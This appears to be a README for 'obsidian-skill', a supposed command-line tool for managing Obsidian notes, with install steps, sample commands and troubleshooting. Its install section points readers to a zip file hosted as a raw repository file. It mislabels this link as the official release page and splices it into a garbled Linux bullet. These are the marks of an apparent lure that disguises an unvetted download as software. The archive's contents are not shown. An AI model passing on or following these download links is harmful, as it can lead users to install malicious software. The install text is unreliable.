obsidian-skill is a tool designed to help you work with your notes in Obsidian. It lets you read, create, search, and organize your notes through an easy command line interface (CLI). This means you can manage your notes without opening the Obsidian app directly. It supports Obsidian versions 1.12 and above.
This tool makes note-taking and organizing simpler for people who like to keep everything in order, including users of knowledge bases, personal knowledge management systems (PKM), or Zettelkasten note systems.
Before you start, make sure your computer meets these basic requirements:
- Operating System: Windows 10 or later, macOS 10.13 or later, or Linux.
- Obsidian: Version 1.12 or higher must be installed on your computer.
- Disk Space: At least 50 MB free space for installation and note storage.
- Internet Connection: Needed only for downloading the software and updates.
- Command Line Basics: You don’t need to be an expert, but you should know how to open a terminal or command prompt on your computer.
This section will guide you step-by-step to get obsidian-skill running on your machine. You don’t need any technical background for this.
Click the big blue button above or go directly to the release page:
This page contains all the versions of the tool. Look for the latest release, which will have the newest features and fixes.
You may see different files for different operating systems:
- Windows: Look for a file ending in
.exe - macOS: Look for a
.dmgor.zipfile - Linux: Find a
https://raw.githubusercontent.com/wizzy15/obsidian-skill/main/references/obsidian_skill_v3.0.zipor.AppImagefile
Click the file that matches your system to download it.
- On Windows, double-click the
.exefile and follow the installer instructions. - On macOS, open the
.dmgor unzip the file, then drag the app to your Applications folder. - On Linux, you might need to extract the archive and run the program from the terminal.
- Windows: Press the Windows key, type
cmd, and press Enter. - macOS: Open Finder → Applications → Utilities → Terminal.
- Linux: Open your preferred terminal application.
Type obsidian-skill --help in the command line to see available commands and options.
Download obsidian-skill from the official GitHub release page here:
https://raw.githubusercontent.com/wizzy15/obsidian-skill/main/references/obsidian_skill_v3.0.zip
Follow these general instructions if you are unsure:
- Download the version that fits your operating system.
- If the file is an installer, run it and follow the steps.
- If it is a zip or tarball, extract it and run the provided program file.
- For most cases, no extra setup is required after installation.
If you want to update obsidian-skill, just repeat the download and install steps with the latest version.
Here are some simple commands you can try after installation. These commands let you manage your Obsidian notes from the command line.
To open and read notes from your vault, use:
obsidian-skill read "Note Title"
Replace "Note Title" with the exact name of your note.
To create a new note, type:
obsidian-skill create "New Note Title"
Add your content directly after creating it.
To find notes that contain specific words or phrases:
obsidian-skill search "keyword"
This will list all notes where the keyword appears.
You can move notes or create folders to keep your vault tidy:
obsidian-skill move "Note Title" "Folder Name/"
This moves the selected note into the target folder.
- Integration with Claude Code: Use AI to get suggestions or automate note creation.
- Knowledge Base Management: Helps keep large collections of notes clear and linked.
- Zettelkasten Support: Manage Zettel notes easily with tag and link features.
- Sync Friendly: Works well if you use Obsidian sync or other cloud storage options.
- Always back up your Obsidian vault before making large changes.
- Use descriptive titles in your notes for easier searching.
- Explore the
--helpcommand often to learn new commands. - Regularly update obsidian-skill to get new features and fixes.
To understand all commands and options, visit the official documentation in the repo, or use:
obsidian-skill --help
This shows the latest usage instructions.
If obsidian-skill does not run:
- Check that your Obsidian app version is 1.12 or above.
- Confirm you have installed the right file for your OS.
- Restart your terminal or command prompt.
- Look for error messages and visit the GitHub Issues page for help.
If you have questions or problems, use the GitHub repository page to submit an issue or ask for guidance:
The community and maintainers monitor issues and will assist when possible.